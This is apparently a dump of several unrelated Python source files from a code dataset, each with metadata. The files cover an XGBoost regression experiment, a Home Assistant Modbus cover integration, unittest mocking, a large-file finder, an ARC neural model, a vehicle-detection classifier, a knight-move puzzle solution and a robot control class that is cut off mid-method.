__name__ == \"__main__\":\n root = Tk()\n App = ParentWindow(root)\n root.mainloop()\n","sub_path":"web_page_generator_2.py","file_name":"web_page_generator_2.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"375721503","text":"from xgboost import XGBRegressor, plot_importance # 중요한걸 그리겠네\r\nfrom sklearn.datasets import load_boston\r\nfrom sklearn.model_selection import train_test_split, GridSearchCV\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.metrics import accuracy_score, r2_score\r\n\r\n# 다중분류 모델\r\n\r\ndataset = load_boston()\r\nx = dataset.data\r\ny = dataset.target\r\n\r\nprint(x.shape) # (150, 4)\r\nprint(y.shape) # (150,)\r\n\r\nx_train, x_test, y_train, y_test = train_test_split(x,y,test_size=0.2,random_state=66)\r\n\r\n# XGB에만 있는 애들인거 같아\r\nmodel = XGBRegressor(n_estimators=3, learning_rate=0.1) # 나무의 개수는 결국 epo다\r\nmodel.fit(x_train, y_train, verbose=True, eval_metric='rmse', eval_set=[(x_train,y_train),(x_test,y_test)])\r\n# verbose? 뭔가 보여주는거 같네?\r\n# metric? 성능평가 지표인거 같네..? 옵션(rmse, mae, logloss, error, auc) # error가 acc, auc는 acc 칭구\r\n# validation_0은 train 값 / validation_1은 test 값임\r\nresult = model.evals_result_\r\nprint(\"eval's results : \",result) \r\n\r\ny_pred = model.predict(x_test)\r\nr2 = r2_score(y_test, y_pred)\r\nprint('r2 score :%.2f%%' %(r2*100.0))\r\nprint('r2:', r2)\r\n\r\n\r\n# parameters = [\r\n# {\"n_estimators\":[100,200,300,50,80,90,120,150], \"learning_rate\":[0.1, 0.3, 0.5, 0.01, 0.005, 0.005, 0.09,0.001],\r\n# \"max_depth\":[3,5,7,20,50,3,4,5,100,150], \"colsample_bylevel\":[0.6,0.8,1,0.6,0.7,0.8,0.9,1]},\r\n# # {\"n_estimators\":[50,80,90,100,120,150], \"learning_rate\":[0.1, 0.005, 0.09,0.001],\r\n# # \"max_depth\":[3,4,5,100,150],\"colsample_bytree\":[0.6,0.7,0.8,0.9,1] }\r\n# ]\r\n\r\n# model = GridSearchCV(XGBRegressor(),parameters,cv=5,n_jobs=-1)\r\n# model.fit(x_train, y_train)\r\n# score = model.score(x_test, y_test)\r\n# print('점수 : ', score)\r\n# # print(model.feature_importances_)\r\n# print('============================================')\r\n# print('best_estimator_',model.best_estimator_)\r\n# print('============================================')\r\n# print('best_params_',model.best_params_)","sub_path":"ml/m25_eval.py","file_name":"m25_eval.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"161873636","text":"\"\"\"Support for Modbus covers.\"\"\"\nimport logging\nfrom typing import Optional\n\nfrom pymodbus.constants import Endian\nfrom pymodbus.exceptions import ConnectionException, ModbusException\nfrom pymodbus.payload import BinaryPayloadBuilder, BinaryPayloadDecoder\nfrom pymodbus.pdu import ExceptionResponse\nimport voluptuous as vol\n\nfrom homeassistant.components.cover import (\n ATTR_POSITION,\n ATTR_TILT_POSITION,\n DEVICE_CLASS_BLIND,\n PLATFORM_SCHEMA,\n SUPPORT_CLOSE,\n SUPPORT_OPEN,\n SUPPORT_SET_POSITION,\n SUPPORT_SET_TILT_POSITION,\n SUPPORT_STOP,\n CoverEntity,\n)\nfrom homeassistant.const import CONF_NAME, CONF_SLAVE\nfrom homeassistant.helpers import config_validation as cv\n\nfrom .const import CONF_HUB, DEFAULT_HUB, MODBUS_DOMAIN\n\n_LOGGER = logging.getLogger(__name__)\n\nCONF_CURRENT_STATUS_ADDR = \"current_status_addr\"\nCONF_REQUEST_STATUS_ADDR = \"request_status_addr\"\n\n# OSCAT status values (BYTE)\nSTATUS_OPENING = 121\nSTATUS_CLOSING = 122\nSTATUS_STANDBY = 131\nSTATUS_OPEN = 134\nSTATUS_CLOSE = 135\nSTATUS_SET = 136\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(\n {\n vol.Optional(CONF_HUB, default=DEFAULT_HUB): cv.string,\n vol.Required(CONF_NAME): cv.string,\n vol.Required(CONF_SLAVE): cv.positive_int,\n vol.Required(CONF_CURRENT_STATUS_ADDR): cv.positive_int,\n vol.Required(CONF_REQUEST_STATUS_ADDR): cv.positive_int,\n }\n)\n\n\ndef setup_platform(hass, config, add_entities, discovery_info=None):\n \"\"\"Read configuration and create Modbus devices.\"\"\"\n hub_name = config[CONF_HUB]\n hub = hass.data[MODBUS_DOMAIN][hub_name]\n name = config[CONF_NAME]\n slave = config[CONF_SLAVE]\n current_status_addr = config[CONF_CURRENT_STATUS_ADDR]\n request_status_addr = config[CONF_REQUEST_STATUS_ADDR]\n\n add_entities(\n [ModbusCover(hub, name, slave, current_status_addr, request_status_addr)]\n )\n\n\ndef scale_to_255(value):\n \"\"\"Scale the input value from 0-100 to 0-255.\"\"\"\n return max(0, min(255, ((value * 255.0) / 100.0)))\n\n\ndef scale_to_100(value):\n \"\"\"Scale the input value from 0-255 to 0-100.\"\"\"\n return max(0, min(100, ((value * 100.0) / 255.0)))\n\n\nclass ModbusCover(CoverEntity):\n \"\"\"Representation of a Modbus cover.\"\"\"\n\n def __init__(self, hub, name, slave, current_status_addr, request_status_addr):\n \"\"\"Initialize the cover.\"\"\"\n self._hub = hub\n self._name = name\n self._slave = int(slave) if slave else None\n self._current_status_addr = int(current_status_addr)\n self._request_status_addr = int(request_status_addr)\n self._status = None\n self._cover_position = None\n self._cover_tilt_position = None\n self._available = True\n\n @property\n def name(self):\n \"\"\"Return the name of the cover.\"\"\"\n return self._name\n\n @property\n def device_class(self) -> Optional[str]:\n \"\"\"Return the class of this device.\"\"\"\n return DEVICE_CLASS_BLIND\n\n @property\n def available(self) -> bool:\n \"\"\"Return True if entity is available.\"\"\"\n return self._available\n\n @property\n def supported_features(self):\n \"\"\"Flag supported features.\"\"\"\n supported_features = (\n SUPPORT_OPEN\n | SUPPORT_CLOSE\n | SUPPORT_SET_POSITION\n | SUPPORT_SET_TILT_POSITION\n | SUPPORT_STOP\n )\n return supported_features\n\n @property\n def current_cover_position(self):\n \"\"\"Return current position of the cover.\n\n None is unknown, 0 is closed, 100 is fully open.\n \"\"\"\n return self._cover_position\n\n @property\n def current_cover_tilt_position(self):\n \"\"\"Return current position of the cover tilt.\n\n None is unknown, 0 is closed, 100 is fully open.\n \"\"\"\n return self._cover_tilt_position\n\n @property\n def is_opening(self):\n \"\"\"Return if the cover is opening or not.\"\"\"\n if self._status is None:\n return None\n return self._status == STATUS_OPENING\n\n @property\n def is_closing(self):\n \"\"\"Return if the cover is closing or not.\"\"\"\n if self._status is None:\n return None\n return self._status == STATUS_CLOSING\n\n @property\n def is_closed(self):\n \"\"\"Return if the cover is closed or not.\"\"\"\n if self._cover_position is None or self._cover_tilt_position is None:\n return None\n return self._cover_position == 0 and self._cover_tilt_position < 2\n\n def _write_registers(self, address, values) -> None:\n \"\"\"Write holding registers using the Modbus hub slave.\"\"\"\n try:\n self._hub.write_registers(self._slave, address, values)\n except ConnectionException:\n self._available = False\n return\n self._available = True\n\n def open_cover(self, **kwargs):\n \"\"\"Open the cover.\"\"\"\n builder = BinaryPayloadBuilder()\n builder.add_8bit_uint(STATUS_OPEN)\n self._write_registers(self._request_status_addr, builder.to_registers())\n\n def close_cover(self, **kwargs):\n \"\"\"Close cover.\"\"\"\n builder = BinaryPayloadBuilder()\n builder.add_8bit_uint(STATUS_CLOSE)\n self._write_registers(self._request_status_addr, builder.to_registers())\n\n def stop_cover(self, **kwargs):\n \"\"\"Stop the cover.\"\"\"\n builder = BinaryPayloadBuilder()\n builder.add_8bit_uint(STATUS_STANDBY)\n self._write_registers(self._request_status_addr, builder.to_registers())\n\n def _set_position_and_angle(self, position, angle) -> None:\n position = int(scale_to_255(position))\n angle = int(scale_to_255(angle))\n builder = BinaryPayloadBuilder(byteorder=Endian.Little)\n builder.add_16bit_uint(STATUS_SET)\n builder.add_16bit_uint(position)\n builder.add_16bit_uint(angle)\n self._write_registers(self._request_status_addr, builder.to_registers())\n\n def set_cover_position(self, **kwargs):\n \"\"\"Move the cover to a specific position.\"\"\"\n if ATTR_POSITION in kwargs:\n self._set_position_and_angle(\n kwargs[ATTR_POSITION], self._cover_tilt_position\n )\n\n def set_cover_tilt_position(self, **kwargs):\n \"\"\"Move the cover tilt to a specific position.\"\"\"\n if ATTR_TILT_POSITION in kwargs:\n self._set_position_and_angle(\n self._cover_position, kwargs[ATTR_TILT_POSITION]\n )\n\n def update(self):\n \"\"\"Update the state of the cover.\"\"\"\n try:\n result = self._hub.read_holding_registers(\n self._slave, self._current_status_addr, 3\n )\n except ConnectionException:\n self._available = False\n return\n if isinstance(result, (ModbusException, ExceptionResponse)):\n self._available = False\n return\n dec = BinaryPayloadDecoder.fromRegisters(\n result.registers, byteorder=Endian.Little\n )\n self._status = dec.decode_16bit_uint() & 0xFF\n self._cover_position = scale_to_100(dec.decode_16bit_uint() & 0xFF)\n self._cover_tilt_position = scale_to_100(dec.decode_16bit_uint() & 0xFF)\n self._available = True\n","sub_path":"homeassistant/components/modbus/cover.py","file_name":"cover.py","file_ext":"py","file_size_in_byte":7243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"470016737","text":"import unittest\n\n\nclass MedianUtil(object):\n def getNumbers(self):\n # Bob's implementation\n f = open(\"numbers.txt\", 'r')\n nums = f.readlines()\n return [int(i) for i in nums]\n\n def getMedian(self):\n # Alice's implementation\n nums = self.getNumbers()\n mid_index = len(nums) // 2\n return (nums[mid_index] + nums[mid_index - 1]) / 2 if mid_index % 2 == 0 else nums[mid_index]\n\n\nclass TestMedium(unittest.TestCase):\n def testGetMedian(self):\n def mockGetMedian(self):\n nums = self.getNumbers()\n print(nums)\n return 4\n\n _getMedian = MedianUtil.getMedian\n try:\n MedianUtil.getMedian = mockGetMedian\n util = MedianUtil()\n self.assertEqual(4, util.getMedian())\n finally:\n MedianUtil.getMedian = _getMedian\n\n def testGetNumbers(self):\n def mockGetNumers(self):\n return [i for i in range(1, 8)]\n\n _getNumbers = MedianUtil.getNumbers\n try:\n MedianUtil.getNumbers = mockGetNumers\n util = MedianUtil()\n self.assertEqual(4, util.getMedian())\n finally:\n MedianUtil.getNumbers = _getNumbers\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"interviews/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"30415241","text":"import os\r\nwhere = \"C:\\\\Program Files\"\r\nsize = 25000000\r\n\r\ndef searchBySize(where, size):\r\n totalSize = 0\r\n for root, dirs, files in os.walk(where):\r\n for file in files:\r\n fullName = os.path.join(root,file)\r\n fileSize = os.path.getsize(os.path.join(root,file))\r\n if fileSize > size:\r\n print (\"%d %s\"%(fileSize, fullName))\r\n totalSize += fileSize\r\n\r\n return totalSize\r\n\r\nprint(\"Total is %d\"%searchBySize(where,size))\r\n","sub_path":"Day1/searchBySize.py","file_name":"searchBySize.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"109073794","text":"# %%\nfrom dnc import DNC\nimport torch\nimport torch.nn as nn\nimport lightning.pytorch as pl\n\nfrom importlib import reload\n\nimport data_processing.arc.spectral_normalization as sn\n\nreload(sn)\nimport data_processing.arc.plotter as plotter\n\nreload(plotter)\nimport data_processing.arc.utils as utils\n\nreload(utils)\nimport data_processing.arc.arc_episode_torch as arc_episode\n\nreload(arc_episode)\nimport data_processing.arc.NAR_EncDec as NAR_EncDec\n\nreload(NAR_EncDec)\n\ndevice = \"cpu\"\n# device = \"cuda\"\ndevice2int = {\"cpu\": -1, \"cuda\": 0}\n\nclass Original_model(nn.Module):\n def __init__(\n self,\n batch_size,\n img_size,\n input_size,\n num_cls,\n max_epi_len,\n exclution_novel,\n *args,\n ) -> None:\n super(Original_model, self).__init__()\n self.enc_dec = NAR_EncDec.EncDec(\n size=img_size, num_cls=num_cls, save_shots_interval=1\n )\n ckpt = torch.load(\n \"C:\\\\Users\\\\taeya\\\\Documents\\\\ARK\\\\data_processing\\\\arc\\\\tb_logs\\\\my_model\\\\version_2\\\\checkpoints\\\\epoch=4999-step=270000.ckpt\"\n )\n self.enc_dec.load_state_dict(ckpt[\"state_dict\"], strict=False)\n self.enc_dec.to(device)\n # self.vals = []\n for name, param in self.enc_dec.named_parameters():\n param.requires_grad = False\n # self.vals.append(param.detach())\n self.enc = self.enc_dec.enc\n self.dec = self.enc_dec.dec\n\n self.dnc = DNC(\n input_size=input_size * 2,\n hidden_size=512,\n rnn_type=\"lstm\",\n num_layers=3,\n num_hidden_layers=3,\n nr_cells=32,\n cell_size=64,\n read_heads=6,\n batch_first=True,\n gpu_id=device2int[device],\n )\n self.dnc.to(device)\n self.linear = nn.Linear(input_size * 2, input_size)\n decoder_layer = torch.nn.TransformerDecoderLayer(\n d_model=input_size,\n nhead=16,\n batch_first=True,\n )\n self.transformer_decoder = torch.nn.TransformerDecoder(\n decoder_layer, num_layers=4\n )\n\n self.batch_size = batch_size\n self.img_size = img_size\n self.input_size = input_size\n self.num_cls = num_cls\n self.max_epi_len = max_epi_len\n self.exclution_novel = exclution_novel\n\n def toBCHW(self, input):\n return (\n input.reshape(-1, self.img_size, self.img_size, self.num_cls)\n .to(torch.float32)\n .permute(0, 3, 1, 2)\n .to(device)\n )\n\n def toBEHWC(self, input):\n return input.permute(0, 2, 3, 1).reshape(\n batch_size, -1, self.img_size, self.img_size, self.num_cls\n )\n\n def episode_slice(self, input, epi_len):\n input = input[:, :epi_len]\n return input.reshape(-1, self.num_cls)\n\n def inout_alternate(self, inp, out):\n \"\"\"inputとoutputをepisode次元に沿って交互に配置する。\n \"\"\"\n inout = torch.cat([inp, out], dim=-2)\n inout = inout.reshape(\n inout.shape[0], 2, int(inout.shape[1] / 2), inout.shape[2]\n )\n inout = inout.permute(0, 2, 1, 3)\n inout = inout.reshape(inout.shape[0], -1, inout.shape[3])\n return inout\n\n def forward(self, batch):\n base_in = self.toBCHW(batch[\"base_in\"])\n base_out = self.toBCHW(batch[\"base_out\"])\n batch_in = self.toBCHW(batch[\"in\"])\n # print(base_in.shape, base_out.shape, batch_in.shape)\n\n base_in_enc = self.enc(base_in).reshape(self.batch_size, -1, self.input_size)\n base_out_enc = self.enc(base_out).reshape(self.batch_size, -1, self.input_size)\n # base = self.inout_alternate(base_in_enc, base_out_enc)\n base = torch.cat([base_in_enc, base_out_enc], dim=-1)\n # print(base_in_enc.shape, base_out_enc.shape, base.shape)\n\n (controller_hidden, memory, read_vectors) = (None, None, None)\n x, (controller_hidden, memory, read_vectors) = self.dnc(\n base,\n (controller_hidden, memory, read_vectors),\n reset_experience=True,\n )\n x = self.linear(x)\n\n in_enc = self.enc(batch_in).reshape(self.batch_size, -1, self.input_size)\n # x = base_out_enc.reshape(self.batch_size, -1, self.input_size)\n # x = x[:, :x.shape[1]-1]\n # print(in_enc.shape, x.shape)\n x = self.transformer_decoder(in_enc, x)\n # x = self.transformer_decoder(in_enc, in_enc)#[B,E, input_size]\n out = self.dec(x) # [B x E, C, H, W]\n # out = self.dec(in_enc)\n out = self.toBEHWC(out) # [B x E, C, H, W]\n # print(out.shape)\n\n if self.exclution_novel:\n batch[\"epi_len\"] = batch[\"epi_len\"] - 1\n\n out = self.episode_slice(out, batch[\"epi_len\"])\n teach_out = self.toBEHWC(self.toBCHW(batch[\"out\"]))\n teach_out = self.episode_slice(teach_out, batch[\"epi_len\"])\n loss = nn.CrossEntropyLoss()(out, teach_out)\n return loss, out, teach_out\n\n\nif __name__ == \"__main__\":\n batch_size = 1 # 400を割り切れる数でないとおかしくなる。\n input_size = 256\n pad_size = 10\n img_size = 10\n num_cls = 12\n max_epi_len = 6\n model = Original_model(\n batch_size = batch_size, \n img_size = img_size,\n input_size = input_size,\n num_cls = num_cls,\n max_epi_len=max_epi_len,\n exclution_novel=True,\n )\n def test_inout_altenate():\n ones = torch.ones(1, 4, 5)\n zeros = torch.zeros(1, 4, 5)\n inout = model.inout_alternate(ones, zeros)\n print(inout.shape)\n for i in range(4 * 2):\n print(inout[0, i])\n assert (inout[0 ,i] == (i+1) % 2).all()\n print(\"交互に1と0が並んでいることを確認する。\")\n test_inout_altenate()\n\n\n def test_episode_slice():\n epi_len = 5\n ones = torch.ones(batch_size * epi_len, num_cls)\n zeros = torch.zeros(batch_size * max_epi_len-epi_len, num_cls)\n inp = torch.cat([ones, zeros], dim=0)\n print(inp)\n rslt = model.episode_slice(inp, epi_len)\n assert (rslt == 1).all()\n print(rslt)\n print(\"出力が1だけなことを確認する。\")\n test_episode_slice()\n\n def test_forward():\n ds = arc_episode.ArcDatasetEpisode(\n root=\"C:\\\\Users\\\\taeya\\\\Documents\\\\ARK\\\\data\\\\abstraction-and-reasoning-challenge\\\\max_epi_5_max_size_10\\\\training\\\\*.npz\",\n pad=pad_size,\n mode=\"constant\",\n )\n opt = torch.optim.Adam(model.parameters(), lr=0.001)\n dl = torch.utils.data.DataLoader(ds, batch_size=batch_size)\n def data_forward():\n for data in dl:\n opt.zero_grad()\n loss, out, teach_out = model(data)\n print(loss)\n print(out.shape, teach_out.shape)\n loss.backward()\n opt.step()\n break\n model.exclution_novel = True\n data_forward()\n model.exclution_novel = False\n data_forward()\n \n test_forward()\n def mode_clone():\n model2 = model.clone()\n print(model2)\n print(\"\")\n\n\n\n\n\n# %%\n","sub_path":"data_processing/arc/nar.py","file_name":"nar.py","file_ext":"py","file_size_in_byte":7234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"571273547","text":"import os\nimport glob\n\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\nimport time\nimport pickle\n\n#from sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.svm import LinearSVC\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.externals import joblib\n\nfrom features import extract_features_from_image_list\n\nfrom utils import slide_window\nfrom utils import draw_boxes\nfrom utils import visualize\nfrom utils import get_training_data\n\nfrom find_cars import find_cars_in_windows\n\nif __name__ == '__main__':\n\n\t# Hyper paramaters\n\tcolor_space = 'YCrCb'\n\torient = 9\n\tpix_per_cell = 8\n\tcell_per_block = 2\n\thog_channel = 'ALL' # 0,12,'ALL'\n\tspatial_size = (32,32)\n\thist_bins = 32\n\n\t# Read training data\n\ttrain_cars, train_notcars = get_training_data()\n\n\tt = time.time()\n\n\t# Extract Features\n\tcar_features = extract_features_from_image_list(train_cars, color_space=color_space, spatial_size=spatial_size,\n\t hist_bins=hist_bins, orient=orient, \n\t pix_per_cell=pix_per_cell, cell_per_block=cell_per_block, hog_channel=hog_channel,\n\t spatial_feat=True, hist_feat=True, hog_feat=True)\n\n\tnotcar_features = extract_features_from_image_list(train_notcars, color_space=color_space, spatial_size=spatial_size,\n\t hist_bins=hist_bins, orient=orient, \n\t pix_per_cell=pix_per_cell, cell_per_block=cell_per_block, hog_channel=hog_channel,\n\t spatial_feat=True, hist_feat=True, hog_feat=True)\n\n\tprint(time.time()-t, 'seconds to compute features')\n\n\tX = np.vstack((car_features, notcar_features)).astype(np.float64) \n\n\t# Normalise features\n\tX_scaler = StandardScaler().fit(X)\n\tscaled_X = X_scaler.transform(X)\n\n\t# Define the labels vector\n\ty = np.hstack((np.ones(len(car_features)), np.zeros(len(notcar_features))))\n\n\n\t# Split up data into randomized training and test sets\n\trand_state = np.random.randint(0, 100)\n\tX_train, X_test, y_train, y_test = train_test_split(\n\t scaled_X, y, test_size=0.2, random_state=rand_state)\n\n\tprint('Using:',orient,'orientations',pix_per_cell,\n\t 'pixels per cell and', cell_per_block,'cells per block')\n\tprint('Feature vector length:', len(X_train[0]))\n\n\t# Train a Support Vector Machine Classifier\n\tsvc = LinearSVC()\n\n\tt=time.time()\n\n\tsvc.fit(X_train, y_train)\n\n\tt2 = time.time()\n\n\tprint(round(t2-t, 2), 'Seconds to train SVC...')\n\tprint('Test Accuracy of SVC = ', round(svc.score(X_test, y_test), 4))\n\n\t# Save Classifier\n\n\tclassifer_model = {}\n\n\tclassifer_model['svc'] = svc\n\tclassifer_model['color_space'] = color_space\n\tclassifer_model['orient'] = orient\n\tclassifer_model['pix_per_cell'] = pix_per_cell\n\tclassifer_model['cell_per_block'] = cell_per_block\n\tclassifer_model['hog_channel'] = hog_channel\n\tclassifer_model['spatial_size'] = spatial_size\n\tclassifer_model['hist_bins'] = hist_bins\n\tclassifer_model['X_scaler'] = X_scaler\n\n\tpickle.dump(classifer_model, open('classifer_model.pkl', 'wb'))\n\n\n\t# Test Classifier\n\n\tclassifer_model = pickle.load( open('classifer_model.pkl', 'rb' ) )\n\n\tsvc = classifer_model['svc']\n\tcolor_space = classifer_model['color_space']\n\torient = classifer_model['orient']\n\tpix_per_cell = classifer_model['pix_per_cell'] \n\tcell_per_block = classifer_model['cell_per_block']\n\thog_channel = classifer_model['hog_channel'] \n\tspatial_size = classifer_model['spatial_size']\n\thist_bins = classifer_model['hist_bins']\n\tX_scaler = classifer_model['X_scaler']\n\n\n\n\tt=time.time()\n\n\texample_images = glob.glob('test_images/*')\n\n\timages = []\n\ttitles = []\n\ty_start_stop = [None, None]\n\toverlap = 0.5\n\n\tfor img_src in example_images:\n\t\tt1 = time.time()\n\t\timg = mpimg.imread(img_src)\n\t\tdraw_img = np.copy(img)\n\t\timg = img.astype(np.float32)/255\n\t\tprint(np.min(img), np.max(img))\n\n\t\twindows = slide_window(img, x_start_stop=[None, None], y_start_stop=y_start_stop, \n xy_window=(128, 128), xy_overlap=(overlap, overlap))\n\n\t\thot_windows = find_cars_in_windows(img, windows, svc, X_scaler, color_space=color_space, \n spatial_size=spatial_size, hist_bins=hist_bins, \n hist_range=(0, 256), orient=orient, \n pix_per_cell=pix_per_cell, cell_per_block=cell_per_block, \n hog_channel=hog_channel, spatial_feat=True, \n hist_feat=True, hog_feat=True)\n\n\t\twindow_img = draw_boxes(draw_img, hot_windows, color=(0,0,255), thick=6)\n\t\timages.append(window_img)\n\t\ttitles.append('')\n\t\tprint(time.time()-t1, ' seconds to process one image searching ', len(windows), 'windows')\n\n\tfig = plt.figure()\n\tvisualize(fig, 3, 2, images, titles)\n\n","sub_path":"train_classifier.py","file_name":"train_classifier.py","file_ext":"py","file_size_in_byte":4716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"121925123","text":"import sys\n\ndx = [1, -1, 1, -1, 2, 2, -2, -2]\ndy = [2, 2, -2, -2, 1, -1, 1, -1]\n\nresults = []\n\nwhile True:\n case = sys.stdin.readline().strip()\n if case == 'END':\n break\n x, y = map(int, case.split())\n if x < 0:\n x = -x\n if y < 0:\n y = -y\n if y < x:\n x, y = y, x\n\n if y <= 2 * x:\n if x == 1 and y == 1:\n results.append(2)\n elif x == 2 and y == 2:\n results.append(4)\n else:\n results.append(\n int((x + y) / 3 + (x + y) % 3)\n )\n else:\n temp = x\n c = (y - 2 * x) % 4\n temp += c\n temp += (y - 2 * x - c) / 2\n\n if y == 1 and x == 0:\n results.append(3)\n else:\n results.append(int(temp))\n # print(results)\n\nfor r in results:\n print(r)\n","sub_path":"backjoon/구현/4161_나이트의_여행.py","file_name":"4161_나이트의_여행.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"318128414","text":"import math\nimport numpy\nimport logging\n\nfrom time import sleep, time\nfrom brain.service_provider import ServiceProvider\nfrom blood.actions import set_planned_trajectory, payload_acquired, payload_delivered\nfrom threading import Thread\n\nlogger = logging.getLogger(\"services.robot\")\n\nHUGE_NUMBER = 50000\n\n\nclass Robot():\n\n def __init__(\n self,\n store,\n watchdog_frequency=5,\n position_tolerance=2,\n movement_timeout=10,\n rotation_tolerance=5,\n rotation_timeout=6,\n robot_arm_radius=12,\n ):\n self.store = store\n self.position = (0, 0)\n self.orientation = (0, 1)\n self.watchdog_time = 1 / watchdog_frequency\n self.position_tolerance = position_tolerance\n self.movement_timeout = movement_timeout\n self.rotation_tolerance = rotation_tolerance\n self.rotation_timeout = rotation_timeout\n self.robot_arm_radius = robot_arm_radius\n\n self.moving = False\n self.look_at_target = None\n self.go_to_thread = None\n\n store.connect(self._on_store_update)\n\n def load_services(self):\n self.analytics = ServiceProvider.get(\"Analytics\")\n self.robot_controller = ServiceProvider.get(\"RobotController\")\n self.watchdog = ServiceProvider.get(\"Watchdog\")\n self.pathfinder = ServiceProvider.get(\"PathFinding\")\n self.charging_station = ServiceProvider.get(\"ChargingStation\")\n self.locator = ServiceProvider.get(\"Locator\")\n self.image_processor = ServiceProvider.get(\"RobotImageProcessor\")\n\n def is_moving(self):\n return self.moving\n\n def move_forward(self, speed=0.25, time=1):\n self.robot_controller.move(speed, 0.)\n sleep(time)\n self.robot_controller.freeze()\n\n def move_backward(self, speed=0.25, time=1):\n self.robot_controller.move(-speed, 0.)\n sleep(time)\n self.robot_controller.freeze()\n\n def move_left(self, speed=0.25, time=1):\n self.robot_controller.move(0., speed)\n sleep(time)\n self.robot_controller.freeze()\n\n def move_right(self, speed=0.25, time=1):\n self.robot_controller.move(0., -speed)\n sleep(time)\n self.robot_controller.freeze()\n\n def interrupt_movement(self):\n self.moving = False\n if self.go_to_thread is not None:\n self.go_to_thread.join()\n self.go_to_thread = None\n\n def go_to(self, x, y):\n self.moving = True\n waypoints = self.pathfinder.find_waypoints(x, y)\n self.store.dispatch(set_planned_trajectory(waypoints))\n\n for waypoint in waypoints:\n if not self.moving:\n break\n self._navigate_to(waypoint)\n\n self.robot_controller.freeze()\n self.moving = False\n\n def go_to_async(self, x, y):\n self.go_to_thread = Thread(target=self.go_to, daemon=True, args=(x, y))\n self.go_to_thread.start()\n\n def turn_north(self):\n self.turn_towards(HUGE_NUMBER, 0)\n\n def turn_east(self):\n self.turn_towards(0, HUGE_NUMBER)\n\n def turn_west(self):\n self.turn_towards(0, -HUGE_NUMBER)\n\n def turn_south(self):\n self.turn_towards(-HUGE_NUMBER, 0)\n\n def turn_towards(self, x, y, timeout=None):\n if timeout is None:\n timeout = self.rotation_timeout\n\n displacement = numpy.subtract((x, y), self.position)\n displacement_norm = numpy.linalg.norm(displacement)\n\n orientation_goal = numpy.divide(displacement, displacement_norm)\n target = math.degrees(math.atan2(orientation_goal[1], orientation_goal[0]))\n\n timeout_at_time = time() + timeout\n\n self.robot_controller.rotate(target)\n\n while True:\n sleep(self.watchdog_time)\n\n if self._has_orientation(orientation_goal):\n break\n\n if time() > timeout_at_time:\n self.analytics.increment_counter(\"robot_rotation_timeout\")\n break\n\n has_orientation = self._has_orientation(orientation_goal)\n\n if not has_orientation:\n self.turn_towards(x, y)\n\n def align_towards(self, x, y):\n orientation_line = numpy.subtract((x, y), self.position)\n orientation_goal = numpy.divide(orientation_line, numpy.linalg.norm(orientation_line))\n\n orientations_goals = [\n orientation_goal,\n (orientation_goal[1], -orientation_goal[0]),\n (-orientation_goal[1], orientation_goal[0]),\n (-orientation_goal[1], -orientation_goal[0]),\n ]\n\n smallest_orientation_goal = None\n smallest_angle = 91\n\n for orientation in orientations_goals:\n angle = self._get_angle_between_vectors(self.orientation, orientation)\n\n if angle < smallest_angle:\n smallest_angle = angle\n smallest_orientation_goal = orientation\n\n turn_towards_point = numpy.add(self.position, numpy.multiply(smallest_orientation_goal, 100))\n\n self.turn_towards(turn_towards_point[0], turn_towards_point[1])\n\n def take_token(self, token):\n self.robot_controller.take_token()\n self.store.dispatch(payload_acquired(token))\n\n def drop_token(self):\n self.robot_controller.drop_token()\n self.store.dispatch(payload_delivered())\n\n def get_power_level(self):\n return self.charge\n\n def charge_to_percent(self, threshold):\n self.robot_controller.start_charging()\n while self.charge < threshold:\n sleep(0.5)\n self.robot_controller.stop_charging()\n\n def is_at(self, position, delta=None):\n if delta is None:\n delta = self.position_tolerance\n\n return self._get_distance(position) <= delta\n\n def read_qr(self):\n self.robot_controller.read_qr()\n\n def rotate_camera(self, yaw, pitch):\n self.robot_controller.rotate_camera(yaw, pitch)\n\n def set_led(self, enabled):\n self.robot_controller.set_led(enabled)\n\n def look_towards(self, x, y):\n self.look_at_target = (x, y)\n angle = self._angle_with_target(self.look_at_target)\n current_angle = math.degrees(math.atan2(self.orientation[1], self.orientation[0]))\n yaw = angle - current_angle\n self.rotate_camera(yaw, 0)\n\n def get_picture(self):\n image = self.robot_controller.get_image()\n\n while image is None:\n image = self.robot_controller.get_image()\n\n return image\n\n def reset_view(self):\n self.look_at_target = None\n self.robot_controller.rotate_camera(0, 0)\n\n def _navigate_to(self, position, timeout=None):\n if not self.moving:\n self.robot_controller.freeze()\n return\n\n if timeout is None:\n timeout = self.movement_timeout\n\n start_position = self.position\n\n if self.watchdog.should_align(start_position, position):\n self.align_towards(position[0], position[1])\n # self.turn_towards(position[0], position[1])\n\n timeout_at_time = time() + timeout\n self.robot_controller.move_from_to(*start_position, *position)\n\n while True:\n sleep(self.watchdog_time)\n if not self.moving:\n self.robot_controller.freeze()\n return\n\n if self.is_at(position):\n break\n\n if not self.watchdog.is_safe(start_position, position):\n break\n\n if time() > timeout_at_time:\n self.analytics.increment_counter(\"robot_move_timeout\")\n break\n\n if not self.is_at(position):\n self._navigate_to(position)\n\n def _on_new_position(self, position):\n self.angle = self._angle_with_target(position)\n if self.look_at_target is not None:\n self.look_towards(self.look_at_target[0], self.look_at_target[1])\n\n def _angle_with_target(self, target):\n 